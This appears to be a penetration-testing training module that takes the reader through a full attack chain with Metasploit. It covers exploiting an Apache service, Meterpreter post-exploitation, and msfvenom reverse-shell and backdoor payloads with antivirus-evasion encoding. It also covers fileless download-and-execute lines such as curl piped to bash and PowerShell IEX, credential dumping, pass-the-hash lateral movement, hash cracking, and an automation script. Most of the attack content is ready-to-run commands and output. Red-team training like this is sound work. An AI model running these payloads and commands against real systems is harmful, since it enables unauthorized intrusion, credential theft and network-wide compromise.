Metasploit Exploitation

Module 5 – Exploitation with Metasploit: From First Shell to Domain Admin

"Reconnaissance finds the door. Vulnerability assessment checks the lock. Exploitation kicks it in—and post-exploitation owns the house."

Welcome to the module where theory becomes reality. If Modules 3 and 4 taught you how to find weaknesses, this module teaches you how to weaponize them. Metasploit is the Swiss Army knife of exploitation, but knowing exploit isn't enough. You need to understand the full kill chain: initial access → post-exploitation → privilege escalation → lateral movement → credential dominance.

By the end of this guide, you'll have a repeatable framework to go from a single vulnerable service to full environment compromise.

What Is the Exploitation Phase?

Exploitation is the controlled execution of a vulnerability to achieve unauthorized access. In a red team or pentest context, this isn't about destruction—it's about demonstrating impact. Metasploit Framework (MSF) provides the weapons; your methodology provides the precision.

Phase 1: The Metasploit Workflow

Launching the Console

bashCopy
1msfconsole

You'll be greeted by the iconic msf6 > prompt. This is your command center.

The 5-Step Exploitation Dance

Practical Example: Exploiting an Apache Service

bashCopy
1# Step 1: Search for Linux Apache exploits
2msf6 > search type:exploit platform:linux apache
3
4# Step 2: Select an appropriate module
5msf6 > use exploit/multi/http/apache_normalize_path_rce
6
7# Step 3: View required options
8msf6 > show options
9
10# Step 4: Configure the target
11msf6 > set RHOSTS 192.168.1.100
12msf6 > set RPORT 8080
13msf6 > set SSL false
14
15# Step 5: Select and configure the payload
16msf6 > set PAYLOAD linux/x64/meterpreter/reverse_tcp
17msf6 > set LHOST 192.168.1.50
18msf6 > set LPORT 4444
19
20# Step 6: Verify and exploit
21msf6 > show options
22msf6 > exploit

Understanding Payload Selection

🎯 Pro Tip: Always prefer reverse_tcp over bind_tcp when the target is behind NAT or a firewall. The target initiates the connection to you, bypassing inbound filtering.

Phase 2: Post-Exploitation — Owning the Session

You got a Meterpreter session 1 opened. Now what? This is where most beginners panic and pros profit.

Essential Meterpreter Commands

bashCopy
1# System intelligence gathering
2meterpreter > sysinfo
3Computer        : web01
4OS              : Ubuntu 22.04 (Linux 5.15.0)
5Architecture    : x64
6Meterpreter     : x64/linux
7
8# Who am I?
9meterpreter > getuid
10Server username : www-data
11
12# Drop into a native system shell
13meterpreter > shell
14whoami
15www-data
16exit
17
18# Dump password hashes (requires privileges)
19meterpreter > hashdump
20[-] priv_passwd_get_sam_hashes: Operation failed: 1
21# (Expected if not SYSTEM/root yet—this is your privilege escalation roadmap)
22
23# Process migration for stability
24meterpreter > ps
25# Find a stable process (e.g., sshd, cron)
26meterpreter > migrate 1024
27[*] Migrating from 1234 to 1024...
28[*] Migration completed successfully.
29
30# Background the session to use other modules
31meterpreter > background
32msf6 > sessions -l

Why Migrate?

If your exploit targets a crashing service (like a web server worker process), your session dies when the process restarts. Migrating to a stable process (like sshd or init) keeps your access alive.

🎯 Pro Tip: After gaining access, your first three commands should be: getuid, sysinfo, getpid. Know who you are, where you are, and how fragile your process is before doing anything else.

Phase 3: Custom Payloads with msfvenom

Sometimes Metasploit modules don't fit the scenario. Maybe you need a standalone binary, a Python script, or a PowerShell one-liner. Enter msfvenom.

Common Payload Generations

bashCopy
1# Linux x64 reverse shell executable
2msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf
3
4# Windows x64 reverse shell executable
5msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe
6
7# Python reverse shell (cross-platform, fileless option)
8msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py
9
10# PowerShell one-liner (for copy-paste delivery)
11msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.50 LPORT=443 -f psh-cmd
12
13# Android APK backdoor
14msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o backdoor.apk
15
16# Encoding to evade basic AV (shikata_ga_nai is classic)
17msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x64/shikata_ga_nai -i 10 -f exe -o encoded.exe

Setting Up the Handler

You generated the payload. Now you need Metasploit to catch the callback:

bashCopy
1msf6 > use exploit/multi/handler
2msf6 > set PAYLOAD linux/x64/meterpreter/reverse_tcp
3msf6 > set LHOST 192.168.1.50
4msf6 > set LPORT 4444
5msf6 > exploit -j -z

🎯 Pro Tip: Use exploit -j -z to run the handler as a background job. This lets you continue using the console while waiting for the target to execute your payload.

Phase 4: Privilege Escalation with PEAS

You're www-data. You need root. PEAS (Privilege Escalation Awesome Scripts) automates the enumeration that finds your path to root.

LinPEAS (Linux)

bashCopy
1# On your attacker machine, start a Python web server
2python3 -m http.server 8000
3
4# On the compromised target (via Meterpreter shell)
5wget http://192.168.1.50:8000/linpeas.sh
6chmod +x linpeas.sh
7./linpeas.sh
8
9# Or run directly without touching disk (stealthy)
10curl http://192.168.1.50:8000/linpeas.sh | bash

What LinPEAS Finds

• Kernel exploits: Outdated kernels with known CVEs
• SUID binaries: Programs running with owner privileges (/usr/bin/find, vim)
• Writable paths: Can you modify cron jobs or systemd services?
• Credentials in files: .env, config files, bash history
• Sudo misconfigurations: sudo -l output showing exploitable entries

WinPEAS (Windows)

powershellCopy
1# Download and execute
2certutil -urlcache -f http://192.168.1.50:8000/winPEASx64.exe winpeas.exe
3.\winpeas.exe
4
5# Or in-memory (AMSI evasion considerations apply)
6IEX(New-Object Net.WebClient).downloadString('http://192.168.1.50:8000/winPEAS.ps1')

Common Privilege Escalation Vectors

🎯 Pro Tip: LinPEAS uses color coding. Red/Yellow = high probability privilege escalation vector. Don't waste time reading everything—focus on the colored output first.

Phase 5: Lateral Movement — Impacket & CrackMapExec

One compromised host is a foothold. The domain is the goal. Impacket and CrackMapExec (CME) move you through the network like a ghost.

Impacket Suite Essentials

bashCopy
1# psexec.py - Remote code execution via credentials
2psexec.py DOMAIN/administrator:Password123@192.168.1.101
3
4# smbexec.py - Alternative to psexec, less noisy
5smbexec.py DOMAIN/administrator:Password123@192.168.1.101
6
7# wmiexec.py - Stealthier, uses WMI
8wmiexec.py DOMAIN/administrator:Password123@192.168.1.101
9
10# secretsdump.py - Remote hash extraction (no shell needed!)
11secretsdump.py DOMAIN/administrator:Password123@192.168.1.101
12
13# smbclient.py - Interactive SMB access
14smbclient.py DOMAIN/administrator:Password123@192.168.1.101

CrackMapExec — The Network Dominator

CME tests credentials against entire subnets in seconds.

bashCopy
1# Test single credential across a subnet
2crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123'
3
4# Pass-the-hash (no plaintext needed!)
5crackmapexec smb 192.168.1.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0'
6
7# Execute command on all accessible hosts
8crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -x 'whoami'
9
10# Dump SAM hashes from all hosts where credentials work
11crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --sam
12
13# Check for writable shares
14crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --shares

The Pass-the-Hash Workflow

bashCopy
1# 1. Dump hashes from your initial target
2meterpreter > hashdump
3Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
4
5# 2. Use the hash directly—no cracking needed!
6psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.101

🎯 Pro Tip: CME color-codes output. Green (+) = pwned. Build a loop that feeds discovered credentials back into wider subnet scans. Lateral movement is a feedback loop.

Phase 6: Credential Dominance — Hashcat & John the Ripper

Sometimes you capture hashes that can't be passed—you need to crack them.

Hashcat (GPU-Powered Cracking)

bashCopy
1# Identify your hash type
2hashid '$6$rounds=5000$...' 
3
4# Crack Linux shadow hashes (sha512crypt, mode 1800)
5hashcat -m 1800 hashes.txt /usr/share/wordlists/rockyou.txt
6
7# Crack NTLM hashes (mode 1000)
8hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt
9
10# Crack with rules (mutate dictionary words)
11hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
12
13# Benchmark your hardware
14hashcat -b

John the Ripper (CPU-Flexible)

bashCopy
1# Crack standard Unix hashes
2john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
3
4# Show already cracked passwords
5john --show hashes.txt
6
7# Crack Windows NTLM
8john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt ntlm.txt
9
10# Incremental mode (brute-force when dictionary fails)
11john --incremental hashes.txt

Hash Extraction Cheat Sheet

🎯 Pro Tip: Before burning GPU cycles, try Hashcat's --show to check if the hash was already cracked in a previous session. No point in re-cracking Password123.

The Complete Exploitation Script: From Shell to Domain

bashCopy
1#!/bin/bash
2# exploitation_workflow.sh - Full kill chain automation helper
3
4LHOST="192.168.1.50"
5LPORT="4444"
6TARGET="192.168.1.100"
7DOMAIN="CORP"
8
9echo "[*] Phase 1: Generate custom payload"
10msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f elf -o payload.elf
11
12echo "[*] Phase 2: Start Metasploit handler in background"
13msfconsole -q -x "
14use exploit/multi/handler
15set PAYLOAD linux/x64/meterpreter/reverse_tcp
16set LHOST $LHOST
17set LPORT $LPORT
18exploit -j -z
19"
20
21echo "[*] Phase 3: Serve payload and PEAS"
22python3 -m http.server 8000 &
23HTTP_PID=$!
24
25echo "[*] Phase 4: Post-exploitation commands to run manually in Meterpreter:"
26echo "    sysinfo"
27echo "    getuid"
28echo "    shell"
29echo "    wget http://$LHOST:8000/linpeas.sh && bash linpeas.sh"
30
31echo "[*] Phase 5: Privilege escalation vectors to check:"
32echo "    - Kernel: uname -a"
33echo "    - SUID: find / -perm -4000 2>/dev/null"
34echo "    - Sudo: sudo -l"
35echo "    - Capabilities: getcap -r / 2>/dev/null"
36
37echo "[*] Phase 6: Lateral movement (after root/credentials):"
38echo "    crackmapexec smb 192.168.1.0/24 -u administrator -p 'PASS'"
39echo "    secretsdump.py $DOMAIN/administrator:PASS@192.168.1.101"
40
41echo "[*] Phase 7: Crack harvested hashes"
42echo "    hashcat -m 1000 ntlm_hashes.txt rockyou.txt"
43
44echo "[+] Workflow loaded. Execute payload on target manually."

Key Takeaways

1. Exploitation without post-exploitation is incomplete. A shell is just the beginning.
2. Always configure your handler before delivering the payload. Nothing is worse than a callback with no listener.
3. Meterpreter is powerful, but know when to drop to shell. Native commands often reveal more than built-in Meterpreter modules.
4. Migrate immediately. Your foothold is fragile until it's anchored to a stable process.
5. LinPEAS/WinPEAS are your roadmap to root. Don't guess—enumerate systematically.
6. Pass-the-Hash > Pass-the-Password. If you have a hash, you often don't need to crack it.
7. CrackMapExec is a credential multiplier. One valid account can reveal the entire domain topology.
8. Document every hash, every credential, every successful lateral move. The chain of compromise is your report's narrative.